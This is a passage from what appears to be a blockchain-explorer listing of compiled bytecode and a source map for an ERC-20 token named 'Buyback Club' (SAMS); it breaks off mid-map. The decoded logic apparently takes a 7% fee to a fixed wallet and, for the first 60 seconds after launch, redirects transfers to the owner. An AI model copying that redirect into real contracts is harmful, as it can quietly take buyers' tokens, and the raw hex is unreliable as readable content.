16e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b600082516122fa818460208701611e54565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b60008251612361818460208701611e54565b7f3a207472616e7366657220616d6f756e74206578636565647320746865206d619201918252507f785478416d6f756e742e000000000000000000000000000000000000000000006020820152602a01919050565b600082516123c8818460208701611e54565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e00000000000000000000006020820152603501919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124a957845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612477565b505073ffffffffffffffffffffffffffffffffffffffff96909616606085015250505060800152939250505056fea264697066735822122072a9a1c2f5041056885d6c7ed4b78adf4585e3c793440de531cd6549c4f939ae64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101845760003560e01c806370a08231116100d6578063a457c2d71161007f578063b62496f511610059578063b62496f51461049c578063dd62ed3e146104cc578063f2fde38b1461051f57600080fd5b8063a457c2d714610446578063a9059cbb14610466578063aa4bde281461048657600080fd5b80638c0b5e22116100b05780638c0b5e22146103bf5780638da5cb5b146103d557806395d89b411461040057600080fd5b806370a0823114610351578063715018a61461039457806385141a77146103a957600080fd5b806323b872dd116101385780633950935111610112578063395093511461030457806347062402146102c957806349bd5a5e1461032457600080fd5b806323b872dd146102a95780632b14ca56146102c9578063313ce567146102f057600080fd5b80630bd05b69116101695780630bd05b69146102185780631694505e1461022f57806318160ddd1461028157600080fd5b806306fdde0314610190578063095ea7b3146101e857600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b5060408051808201909152600c81527f4275796261636b20436c7562000000000000000000000000000000000000000060208201525b6040516101df9190611e84565b60405180910390f35b3480156101f457600080fd5b50610208610203366004611efa565b61053f565b60405190151581526020016101df565b34801561022457600080fd5b5061022d610555565b005b34801561023b57600080fd5b5060015461025c9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101df565b34801561028d57600080fd5b506a52b7d2dcc80cd2e40000005b6040519081526020016101df565b3480156102b557600080fd5b506102086102c4366004611f26565b610ad0565b3480156102d557600080fd5b506102de600781565b60405160ff90911681526020016101df565b3480156102fc57600080fd5b5060126102de565b34801561031057600080fd5b5061020861031f366004611efa565b610bef565b34801561033057600080fd5b5060025461025c9073ffffffffffffffffffffffffffffffffffffffff1681565b34801561035d57600080fd5b5061029b61036c366004611f67565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b3480156103a057600080fd5b5061022d610c33565b3480156103b557600080fd5b5061025c61dead81565b3480156103cb57600080fd5b5061029b60085481565b3480156103e157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1661025c565b34801561040c57600080fd5b5060408051808201909152600481527f53414d530000000000000000000000000000000000000000000000000000000060208201526101d2565b34801561045257600080fd5b50610208610461366004611efa565b610d04565b34801561047257600080fd5b50610208610481366004611efa565b610e07565b34801561049257600080fd5b5061029b60075481565b3480156104a857600080fd5b506102086104b7366004611f67565b60056020526000908152604090205460ff1681565b3480156104d857600080fd5b5061029b6104e7366004611f8b565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561052b57600080fd5b5061022d61053a366004611f67565b610e14565b600061054c338484610fa5565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610601576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b600654604080518082018252600c81527f4275796261636b20436c75620000000000000000000000000000000000000000602080830191909152915160ff909316159261064e9201611fc4565b60405160208183030381529060405290610695576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546106f290309073ffffffffffffffffffffffffffffffffffffffff166a52b7d2dcc80cd2e4000000610fa5565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061073e8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f4919061202b565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088a9190612059565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610913573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109379190612059565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190612059565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316178155909150606490610a27906a52b7d2dcc80cd2e4000000906120a5565b610a3191906120e2565b6007556064610a4c6a52b7d2dcc80cd2e400000060026120a5565b610a5691906120e2565b60085573ffffffffffffffffffffffffffffffffffffffff81166000908152600960209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255600a9093529220805490911682179055610ac9908290611123565b5042600d55565b6000610add848484611236565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338452909152902054821115610b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63652e000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610be5918691610be090869061211d565b610fa5565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610be0908690612134565b60005473ffffffffffffffffffffffffffffffffffffffff163314610cda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600090815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054821115610dc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760448201527f207a65726f2e000000000000000000000000000000000000000000000000000060648201526084016105f8565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8816845290915290205461054c91908590610be090869061211d565b600061054c338484611236565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ebb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff8116610f5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e0000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316611047576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600560209081526040918290205482518084018452600c81527f4275796261636b20436c7562000000000000000000000000000000000000000081840152925160ff90911615158415151415926111989290910161214c565b604051602081830303815290604052906111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b5073ffffffffffffffffffffffffffffffffffffffff91909116600090815260056020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016112ad91906121b3565b604051602081830303815290604052906112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600c81526020017f4275796261636b20436c7562000000000000000000000000000000000000000081525060405160200161136c919061221a565b604051602081830303815290604052906113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600081116040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016113fe9190612281565b60405160208183030381529060405290611445576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016114b591906122e8565b604051602081830303815290604052906114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50603c600d544261150d919061211d565b1161152e5760005473ffffffffffffffffffffffffffffffffffffffff1691505b60025473ffffffffffffffffffffffffffffffffffffffff848116911614801561157e575073ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff16155b806115d4575060025473ffffffffffffffffffffffffffffffffffffffff83811691161480156115d4575073ffffffffffffffffffffffffffffffffffffffff83166000908152600a602052604090205460ff16155b1561166e576008548111156040518060400160405280600c81526020017f4275796261636b20436c75620000000000000000000000000000000000000000815250604051602001611625919061234f565b6040516020818303038152906040529061166c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b505b73ffffffffffffffffffffffffffffffffffffffff821660009081526009602052604090205460ff1661176657600754816116cb8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6116d59190612134565b11156040518060400160405280600c81526020017f4275796261636b20436c7562000000000000000000000000000000000000000081525060405160200161171d91906123b6565b60405160208183030381529060405290611764576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16806117bf575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff165b806117ed575060025473ffffffffffffffffffffffffffffffffffffffff84811691161480156117ed575060005b8061181b575060025473ffffffffffffffffffffffffffffffffffffffff838116911614801561181b575060005b156119025773ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061185590849061211d565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260408120805483929061188f908490612134565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f591815260200190565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061193790849061211d565b909155505060025473ffffffffffffffffffffffffffffffffffffffff90811690841603611ac257606461196c6007836120a5565b61197691906120e2565b3060009081526003602052604081208054909190611995908490612134565b9091555030905073ffffffffffffffffffffffffffffffffffffffff84167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60646119e16007866120a5565b6119eb91906120e2565b60405190815260200160405180910390a36064611a096007836120a5565b611a1391906120e2565b611a1d908261211d565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054909190611a52908490612134565b909155505073ffffffffffffffffffffffffffffffffffffffff8083169084167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611aa06007866120a5565b611aaa91906120e2565b611ab4908561211d565b6040519081526020016118f5565b6064611acf6007836120a5565b611ad991906120e2565b3060009081526003602052604081208054909190611af8908490612134565b9091555030905073ffffffffffffffffffffffffffffffffffffffff84167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611b446007866120a5565b611b4e91906120e2565b60405190815260200160405180910390a3600c54306000908152600360205260409020541115611bd35730600090815260036020526040902054611b9190611ca1565b60405173b3f77213187b8c976e2355c10d20052b1ebd3687904780156108fc02916000818181858888f19350505050158015611bd1573d6000803e3d6000fd5b505b6064611be06007836120a5565b611bea91906120e2565b611bf4908261211d565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054909190611c29908490612134565b909155505073ffffffffffffffffffffffffffffffffffffffff8083169084167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611c776007866120a5565b611c8191906120e2565b611c8b908561211d565b60405190815260200160405180910390a3505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611cd657611cd661241d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600154604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c46489260048083019391928290030181865afa158015611d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d799190612059565b81600181518110611d8c57611d8c61241d565b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600154611dbf9130911684610fa5565b6001546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac94790611e1e90859060009086903090429060040161244c565b600060405180830381600087803b158015611e3857600080fd5b505af1158015611e4c573d6000803e3d6000fd5b505050505050565b60005b83811015611e6f578181015183820152602001611e57565b83811115611e7e576000848401525b50505050565b6020815260008251806020840152611ea3816040850160208701611e54565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff81168114611ef757600080fd5b50565b60008060408385031215611f0d57600080fd5b8235611f1881611ed5565b946020939093013593505050565b600080600060608486031215611f3b57600080fd5b8335611f4681611ed5565b92506020840135611f5681611ed5565b929592945050506040919091013590565b600060208284031215611f7957600080fd5b8135611f8481611ed5565b9392505050565b60008060408385031215611f9e57600080fd5b8235611fa981611ed5565b91506020830135611fb981611ed5565b809150509250929050565b60008251611fd6818460208701611e54565b7f3a20796f752063616e206f6e6c7920616464206c6971756964697479206f6e639201918252507f65000000000000000000000000000000000000000000000000000000000000006020820152602101919050565b60008060006060848603121561204057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561206b57600080fd5b8151611f8481611ed5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120dd576120dd612076565b500290565b600082612118577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60008282101561212f5761212f612076565b500390565b6000821982111561214757612147612076565b500190565b6000825161215e818460208701611e54565b7f3a206175746f6d61746564206d61726b6574206d616b657220706169722069739201918252507f20616c72656164792073657420746f20746861742076616c75652e00000000006020820152603b01919050565b600082516121c5818460208701611e54565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161222c818460208701611e54565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b60008251612293818460208701611e54565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b600082516122fa818460208701611e54565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b60008251612361818460208701611e54565b7f3a207472616e7366657220616d6f756e74206578636565647320746865206d619201918252507f785478416d6f756e742e000000000000000000000000000000000000000000006020820152602a01919050565b600082516123c8818460208701611e54565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e00000000000000000000006020820152603501919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124a957845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612477565b505073ffffffffffffffffffffffffffffffffffffffff96909616606085015250505060800152939250505056fea264697066735822122072a9a1c2f5041056885d6c7ed4b78adf4585e3c793440de531cd6549c4f939ae64736f6c634300080d0033

Deployed Bytecode Sourcemap

2358:8654:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7615:71;;;;;;;;;;-1:-1:-1;7678:5:0;;;;;;;;;;;;;;;;;7615:71;;;;;;;:::i;:::-;;;;;;;;4994:163;;;;;;;;;;-1:-1:-1;4994:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;4994:163:0;1203:187:1;6405:921:0;;;;;;;;;;;;;:::i;:::-;;2405:30;;;;;;;;;;-1:-1:-1;2405:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2405:30:0;1395:241:1;7858:88:0;;;;;;;;;;-1:-1:-1;2790:18:0;7858:88;;;1787:25:1;;;1775:2;1760:18;7858:88:0;1641:177:1;5163:375:0;;;;;;;;;;-1:-1:-1;5163:375:0;;;;;:::i;:::-;;:::i;3282:33::-;;;;;;;;;;;;3314:1;3282:33;;;;;2456:4:1;2444:17;;;2426:36;;2414:2;2399:18;3282:33:0;2284:184:1;7773:79:0;;;;;;;;;;-1:-1:-1;2613:2:0;7773:79;;5544:214;;;;;;;;;;-1:-1:-1;5544:214:0;;;;;:::i;:::-;;:::i;2442:28::-;;;;;;;;;;-1:-1:-1;2442:28:0;;;;;;;;7952:104;;;;;;;;;;-1:-1:-1;7952:104:0;;;;;:::i;:::-;8036:17;;8018:7;8036:17;;;:8;:17;;;;;;;7952:104;2072:80;;;;;;;;;;;;;:::i;3322:79::-;;;;;;;;;;;;3359:42;3322:79;;2991:41;;;;;;;;;;;;;;;;1875:65;;;;;;;;;;-1:-1:-1;1913:7:0;1931:6;;;1875:65;;7692:75;;;;;;;;;;-1:-1:-1;7757:7:0;;;;;;;;;;;;;;;;;7692:75;;5764:340;;;;;;;;;;-1:-1:-1;5764:340:0;;;;;:::i;:::-;;:::i;4819:169::-;;;;;;;;;;-1:-1:-1;4819:169:0;;;;;:::i;:::-;;:::i;2939:45::-;;;;;;;;;;;;;;;;2830:58;;;;;;;;;;-1:-1:-1;2830:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8062:131;;;;;;;;;;-1:-1:-1;8062:131:0;;;;;:::i;:::-;8163:18;;;;8145:7;8163:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8062:131;2158:193;;;;;;;;;;-1:-1:-1;2158:193:0;;;;;:::i;:::-;;:::i;4994:163::-;5071:4;5088:39;1690:10;5111:7;5120:6;5088:8;:39::i;:::-;-1:-1:-1;5145:4:0;4994:163;;;;:::o;6405:921::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3551:2:1;1978:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1978:68:0;;;;;;;;;6471:16:::1;::::0;6503:5:::1;::::0;;;;::::1;::::0;;::::1;::::0;;::::1;;::::0;;::::1;::::0;;;;6489:57;;6471:16:::1;::::0;;::::1;6470:17;::::0;6489:57:::1;::::0;::::1;;:::i;:::-;;;;;;;;;;;;;6462:85;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6558:16:0::1;:23:::0;;;::::1;6577:4;6558:23:::0;;::::1;::::0;;;6624:15;6592:63:::1;::::0;6609:4:::1;::::0;6624:15:::1;;2790:18;6592:8;:63::i;:::-;6666:15;::::0;::::1;;:31;6705:21;6736:4;6743:24;6736:4:::0;8036:17;;8018:7;8036:17;;;:8;:17;;;;;;;7952:104;6743:24:::1;6769:1;::::0;1690:10;6666:139:::1;::::0;::::1;::::0;;;;;;;4578:42:1;4647:15;;;6666:139:0::1;::::0;::::1;4629:34:1::0;4679:18;;;4672:34;;;;4722:18;;;4715:34;;;;4765:18;;;4758:34;4829:15;;;4808:19;;;4801:44;6789:15:0::1;4861:19:1::0;;;4854:35;4540:19;;6666:139:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6816:22;6850:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6841:43;;;6893:4;6900:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6841:83;::::0;;::::1;::::0;;;;;;5651:42:1;5720:15;;;6841:83:0::1;::::0;::::1;5702:34:1::0;5772:15;;5752:18;;;5745:43;5614:18;;6841:83:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6935:13;:30:::0;;;::::1;;::::0;::::1;;::::0;;;;-1:-1:-1;7013:3:0::1;::::0;6994:16:::1;::::0;2790:18:::1;::::0;6994:16:::1;:::i;:::-;:22;;;;:::i;:::-;6976:15;:40:::0;7067:3:::1;7048:16;2790:18;7063:1;7048:16;:::i;:::-;:22;;;;:::i;:::-;7034:11;:36:::0;7092:45:::1;::::0;::::1;;::::0;;;:29:::1;:45;::::0;;;;;;;:52;;7140:4:::1;7092:52:::0;;;::::1;::::0;::::1;::::0;;;7155:34:::1;:50:::0;;;;;:57;;;;::::1;::::0;::::1;::::0;;7223:50:::1;::::0;7092:45;;7223:28:::1;:50::i;:::-;-1:-1:-1::0;7303:15:0::1;7284:16;:34:::0;6405:921::o;5163:375::-;5262:4;5279:36;5289:6;5297:9;5308:6;5279:9;:36::i;:::-;5344:19;;;;;;;:11;:19;;;;;;;;1690:10;5344:33;;;;;;;;5334:43;;;5326:97;;;;;;;6702:2:1;5326:97:0;;;6684:21:1;6741:2;6721:18;;;6714:30;6780:34;6760:18;;;6753:62;6851:11;6831:18;;;6824:39;6880:19;;5326:97:0;6500:405:1;5326:97:0;5465:19;;;;;;;:11;:19;;;;;;;;1690:10;5465:33;;;;;;;;;5434:74;;5443:6;;5465:42;;5501:6;;5465:42;:::i;:::-;5434:8;:74::i;:::-;-1:-1:-1;5526:4:0;5163:375;;;;;:::o;5544:214::-;1690:10;5634:4;5680:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5634:4;;5650:78;;5672:7;;5680:47;;5717:10;;5680:47;:::i;2072:80::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3551:2:1;1978:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1978:68:0;3349:397:1;1978:68:0;2147:1:::1;2130:19:::0;;;::::1;::::0;;2072:80::o;5764:340::-;1690:10;5859:4;5903:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5884:53;;;5876:104;;;;;;;7375:2:1;5876:104:0;;;7357:21:1;7414:2;7394:18;;;7387:30;7453:34;7433:18;;;7426:62;7524:8;7504:18;;;7497:36;7550:19;;5876:104:0;7173:402:1;5876:104:0;1690:10;6021:25;;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5991:83;;1690:10;6013:7;;6021:52;;6058:15;;6021:52;:::i;4819:169::-;4899:4;4916:42;1690:10;4940:9;4951:6;4916:9;:42::i;2158:193::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3551:2:1;1978:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1978:68:0;3349:397:1;1978:68:0;2249:22:::1;::::0;::::1;2241:74;;;::::0;::::1;::::0;;7782:2:1;2241:74:0::1;::::0;::::1;7764:21:1::0;7821:2;7801:18;;;7794:30;7860:34;7840:18;;;7833:62;7931:9;7911:18;;;7904:37;7958:19;;2241:74:0::1;7580:403:1::0;2241:74:0::1;2326:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;2158:193::o;6113:286::-;6205:19;;;6197:68;;;;;;;8190:2:1;6197:68:0;;;8172:21:1;8229:2;8209:18;;;8202:30;8268:34;8248:18;;;8241:62;8339:6;8319:18;;;8312:34;8363:19;;6197:68:0;7988:400:1;6197:68:0;6284:21;;;6276:68;;;;;;;8595:2:1;6276:68:0;;;8577:21:1;8634:2;8614:18;;;8607:30;8673:34;8653:18;;;8646:62;8744:4;8724:18;;;8717:32;8766:19;;6276:68:0;8393:398:1;6276:68:0;6355:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;6113:286::o;7332:275::-;7423:31;;;;;;;:25;:31;;;;;;;;;;7479:5;;;;;;;;;;;;;;;7465:83;;7423:31;;;;:40;;;;;;;;7465:83;;7479:5;;7465:83;;:::i;:::-;;;;;;;;;;;;;7415:134;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;7560:31:0;;;;;;;;;:25;:31;;;;;:39;;;;;;;;;;;;;7332:275::o;8201:2406::-;8306:1;8290:18;;:4;:18;;;;8324:5;;;;;;;;;;;;;;;;;8310:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;8282:93;;;;;;;;;;;;;;:::i;:::-;;8408:1;8394:16;;:2;:16;;;;8426:5;;;;;;;;;;;;;;;;;8412:62;;;;;;;;:::i;:::-;;;;;;;;;;;;;8386:89;;;;;;;;;;;;;;:::i;:::-;;8503:1;8494:6;:10;8520:5;;;;;;;;;;;;;;;;;8506:68;;;;;;;;:::i;:::-;;;;;;;;;;;;;8486:89;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;8036:17:0;;;8018:7;8036:17;;;:8;:17;;;;;;8594:6;:25;;8635:5;;;;;;;;;;;;;;;;;8621:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;8586:96;;;;;;;;;;;;;;:::i;:::-;;8735:2;8715:16;;8697:15;:34;;;;:::i;:::-;:40;8693:63;;1913:7;1931:6;;;8741:12;;8693:63;8799:13;;;8783:30;;;8799:13;;8783:30;:73;;;;-1:-1:-1;8818:38:0;;;;;;;:34;:38;;;;;;;;8817:39;8783:73;8782:171;;;-1:-1:-1;8893:13:0;;;8879:28;;;8893:13;;8879:28;:73;;;;-1:-1:-1;8912:40:0;;;;;;;:34;:40;;;;;;;;8911:41;8879:73;8778:302;;;8988:11;;8978:6;:21;;9015:5;;;;;;;;;;;;;;;;;9001:66;;;;;;;;:::i;:::-;;;;;;;;;;;;;8970:98;;;;;;;;;;;;;;:::i;:::-;;8778:302;9095:33;;;;;;;:29;:33;;;;;;;;9090:198;;9181:15;;9170:6;9154:13;9164:2;8036:17;;8018:7;8036:17;;;:8;:17;;;;;;;7952:104;9154:13;:22;;;;:::i;:::-;9153:43;;9212:5;;;;;;;;;;;;;;;;;9198:77;;;;;;;;:::i;:::-;;;;;;;;;;;;;9145:131;;;;;;;;;;;;;;:::i;:::-;;9090:198;9302:24;;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;9330:22:0;;;;;;;:18;:22;;;;;;;;9302:50;:109;;;-1:-1:-1;9382:13:0;;;9374:21;;;9382:13;;9374:21;:36;;;;-1:-1:-1;9409:1:0;9374:36;9302:174;;;-1:-1:-1;9446:13:0;;;9440:19;;;9446:13;;9440:19;:35;;;;-1:-1:-1;9474:1:0;9440:35;9298:1302;;;9515:14;;;;;;;:8;:14;;;;;:24;;9533:6;;9515:14;:24;;9533:6;;9515:24;:::i;:::-;;;;-1:-1:-1;;9554:12:0;;;;;;;:8;:12;;;;;:22;;9570:6;;9554:12;:22;;9570:6;;9554:22;:::i;:::-;;;;;;;;9611:2;9596:26;;9605:4;9596:26;;;9615:6;9596:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;9596:26:0;;;;;;;;8201:2406;;;:::o;9298:1302::-;9655:14;;;;;;;:8;:14;;;;;:24;;9673:6;;9655:14;:24;;9673:6;;9655:24;:::i;:::-;;;;-1:-1:-1;;9706:13:0;;;;;;9698:21;;;;9694:895;;9792:3